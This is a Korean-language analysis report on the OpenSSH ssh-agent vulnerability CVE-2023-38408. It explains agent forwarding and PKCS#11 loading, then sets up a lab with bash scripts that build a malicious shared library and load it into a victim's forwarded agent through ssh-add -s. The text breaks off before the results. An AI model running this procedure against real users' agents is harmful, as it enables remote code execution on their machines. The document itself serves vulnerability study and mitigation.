
심각한 OpenSSH 취약점인 CVE 2023 38408에 대한 심층 분석으로, 기술적 배경, 통제된 환경에서의 악용, 그리고 완화 전략을 포함합니다.
이 보고서의 목적은 OpenSSH에서 발견된 심각한 실제 취약점인 CVE-2023-38408을 이론적 이해와 실제 시뮬레이션을 통해 분석하는 것입니다. 보고서는 취약점의 기술적 기반을 설명하고, 통제된 환경에서 이를 어떻게 악용할 수 있는지 보여주며, 구현된 완화 조치를 검토합니다.
실제 보안 취약점을 실습 시뮬레이션을 통해 이해하는 것은 시스템을 보호하는 데 도움이 될 뿐만 아니라 개발자와 시스템 관리자의 잠재적 공격 벡터에 대한 인식을 강화합니다. 이러한 취약점 분석은 이론과 실제 보안 구현 사이의 간극을 메웁니다.
CVE-2023-38408은 PKCS#11 지원이 활성화된 OpenSSH의 ssh-agent에 영향을 미치는 취약점입니다. 사용자가 에이전트 포워딩이 활성화된 상태(ssh -A)로 손상된 서버에 연결할 경우 클라이언트 시스템에서 원격 코드 실행을 허용합니다. 이 취약점은 보안 인증을 위해 OpenSSH에 의존하는 모든 시스템에 심각한 영향을 미칩니다.
| CVE 세부 정보 | 정보 |
|---|---|
| CVE ID | CVE-2023-38408 |
| CVSS 점수 | 9.8 (심각) |
| 영향을 받는 버전 | OpenSSH < 9.3p2 |
| 공격 벡터 | 네트워크 |
| 필요한 권한 | 없음 |
| 사용자 상호작용 | 필요함 |
| 영향 | 전체 시스템 손상 |
SSH(Secure Shell)는 안전하지 않은 네트워크에서 안전한 통신을 위해 사용되는 암호화 네트워크 프로토콜입니다. 원격 로그인, 명령 실행, 파일 전송 등을 위한 암호화된 채널을 제공합니다.```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]
### 2.2 ssh-agent란 무엇인가
`ssh-agent`는 메모리에 복호화된 개인 SSH 키를 저장하는 백그라운드 프로세스로, 원격 시스템에 연결할 때마다 암호를 다시 입력하지 않고 키를 사용할 수 있게 해줍니다.
#### 에이전트 포워딩 (ssh -A)
에이전트 포워딩은 원격 시스템이 Unix 도메인 소켓을 통해 로컬 `ssh-agent`에 접근할 수 있게 해줍니다. 이는 SSH 연결을 체이닝하는 데 유용하지만, 원격 머신이 손상될 경우 심각한 보안 위험을 초래합니다.```mermaid
sequenceDiagram
participant Client as SSH Client
participant Agent as ssh-agent
participant Server as Remote Server
participant Proxy as Agent Proxy
Client->>Agent: Start agent
Client->>Server: ssh -A user@server
Server->>Proxy: Create proxy socket
Note over Server,Proxy: SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx
Server->>Proxy: ssh-add request
Proxy->>Client: Forward request
Client->>Agent: Process request
Agent->>Client: Response
Client->>Proxy: Forward response
Proxy->>Server: Final response
기술적으로, ssh -A를 사용하면 SSH 클라이언트가 원격 서버에 유닉스 도메인 소켓을 설정합니다. 이 소켓은 로컬 ssh-agent에 대한 프록시 역할을 합니다. 환경 변수 SSH_AUTH_SOCK이 이 프록시 소켓을 가리키도록 설정됩니다. 원격 서버에서 SSH_AUTH_SOCK에 대한 모든 호출은 SSH 연결을 통해 다시 전달되어 로컬 ssh-agent에 의해 처리됩니다.
PKCS#11은 스마트카드, YubiKey 또는 가상 하드웨어 보안 모듈(HSM)과 같은 암호화 토큰과 상호작용하기 위한 표준 API입니다.
| PKCS#11 함수 | 목적 | 위험 수준 |
|---|---|---|
C_Initialize() | 라이브러리 초기화 | 낮음 |
C_GetSlotList() | 사용 가능한 슬롯 나열 | 낮음 |
C_FindObjects() | 암호화 객체 찾기 | 중간 |
C_Sign() | 데이터 서명 | 높음 |
dlopen() | 공유 라이브러리 로드 | 심각 |
OpenSSH의 ssh-agent는 ssh-add -s /path/to/provider.so 명령을 사용하여 PKCS#11 제공자(공유 .so 라이브러리)를 로드하는 것을 지원합니다. 이러한 라이브러리는 에이전트가 보안 하드웨어 또는 소프트웨어 모듈과 상호작용하여 개인 키를 직접 노출하지 않고 사용할 수 있게 합니다.
내부적으로 ssh-add -s가 호출되면 다음을 수행합니다:
.so 파일은 dlopen()을 사용하여 메모리에 동적으로 로드됩니다.C_Initialize(), C_GetSlotList(), C_FindObjects(), C_Sign()과 같은 함수를 확인하고 호출합니다.| 속성 | 세부 정보 |
|---|---|
| ID | CVE-2023-38408 |
| 심각도 | 높음 (CVSS 9.8) |
| 공개 일정 | 2023년 7월 공개, OpenSSH 9.3p2에서 수정됨 |
| 영향을 받는 소프트웨어 | PKCS#11 지원이 포함된 OpenSSH 9.3p2 이전 버전 |
| 공격 복잡성 | 낮음 |
| 공격 벡터 | SSH 에이전트 포워딩을 통한 네트워크 |
이 취약점은 ssh-agent가 ssh-add -s를 통해 제공된 모든 공유 오브젝트 파일(.so)을 적법한 PKCS#11 제공자인지 검증하지 않고 로드하는 데서 비롯됩니다.```mermaid
graph TD
A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent]
B --> C[ssh-agent calls dlopen on malicious.so]
C --> D[Constructor function executes immediately]
D --> E[Arbitrary code runs on victim machine]
### 3.3 공격 흐름 분석```mermaid
sequenceDiagram
participant V as Victim
participant A as Attacker
participant Agent as ssh-agent
participant Lib as Malicious .so
V->>A: ssh -A attacker@host
Note over V,A: Agent forwarding enabled
A->>Agent: ssh-add -s /path/to/malicious.so
Agent->>Lib: dlopen("/path/to/malicious.so")
Note over Lib: Constructor executes
Lib->>V: Malicious code runs
Note over V: System compromised
가장 낮은 수준에서 이벤트 순서는 다음과 같습니다:
ssh-add -s /path/to/lib.so 요청을 보냅니다.ssh-agent가 이 요청을 수신하고 맹목적으로 dlopen("/path/to/lib.so", RTLD_NOW)를 호출합니다..so 파일에 생성자 함수(__attribute__((constructor)))가 있으면 로드 즉시 실행됩니다.| 단계 | 작업 | 영향 |
|---|---|---|
| 1 | 사용자가 ssh -A user@attacker-host 실행 | 에이전트 포워딩 활성화 |
| 2 | 공격자가 malicious.so 준비 | 페이로드 준비 완료 |
| 3 | 공격자가 ssh-add -s /tmp/malicious.so 실행 | 피해자 에이전트에 요청 전송 |
| 4 | 에이전트가 악성 라이브러리 로드 | 생성자 실행 |
| 5 | 악성 코드 실행 | 원격 코드 실행 성공 |
통제된 환경에서 이 취약점을 시연하기 위해 여러 사용자 계정과 터미널을 사용한 포괄적인 시뮬레이션이 수행되었습니다.
| 구성 요소 | 설정 | 목적 |
|---|---|---|
| 터미널 1 | victim 사용자 | SSH 클라이언트 (대상) |
| 터미널 2 | attacker 사용자 | SSH 서버 (공격자) |
| SSH 키 | RSA 2048비트 | 비밀번호 없는 인증 |
| 테스트 파일 | 다양한 셸 스크립트 | 자동화 및 페이로드 전달 |
sudo adduser victim sudo adduser attacker
#### 에이전트 포워딩을 위한 SSH 키 설정```bash
# As victim user
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
ssh-copy-id attacker@localhost
new-connection.sh)```bash#!/bin/bash
eval $(ssh-agent -k) > /dev/null 2>&1
eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa
ssh -A attacker@localhost
#### 공격자의 페이로드 빌더 (`build-evil.sh`)```bash
#!/bin/bash
set -e
C_SRC="evil.c"
RUST_DIR="rust_evil"
OUTPUT_PATH="/usr/lib/x86_64-linux-gnu/pkcs11/evil.so"
function build_c() {
sudo gcc -fPIC -shared -o "$OUTPUT_PATH" "$C_SRC"
echo "C payload built at $OUTPUT_PATH"
}
function build_rust() {
cd "$RUST_DIR"
cargo build --release
cd -
SO_FILE=$(find "$RUST_DIR/target/release" -name "lib*.so" | head -n 1)
sudo cp "$SO_FILE" "$OUTPUT_PATH"
rm -rf "$RUST_DIR/target"
echo "Rust payload built at $OUTPUT_PATH"
}
case "$1" in
--c) build_c ;;
--rust) build_rust ;;
*) echo "Usage: $0 --c | --rust" && exit 1 ;;
esac
exploit.sh)```bash#!/bin/bash
export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)
ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so
### 4.3 시뮬레이션 결과 및 분석
#### 취약 시스템에서 예상되는 동작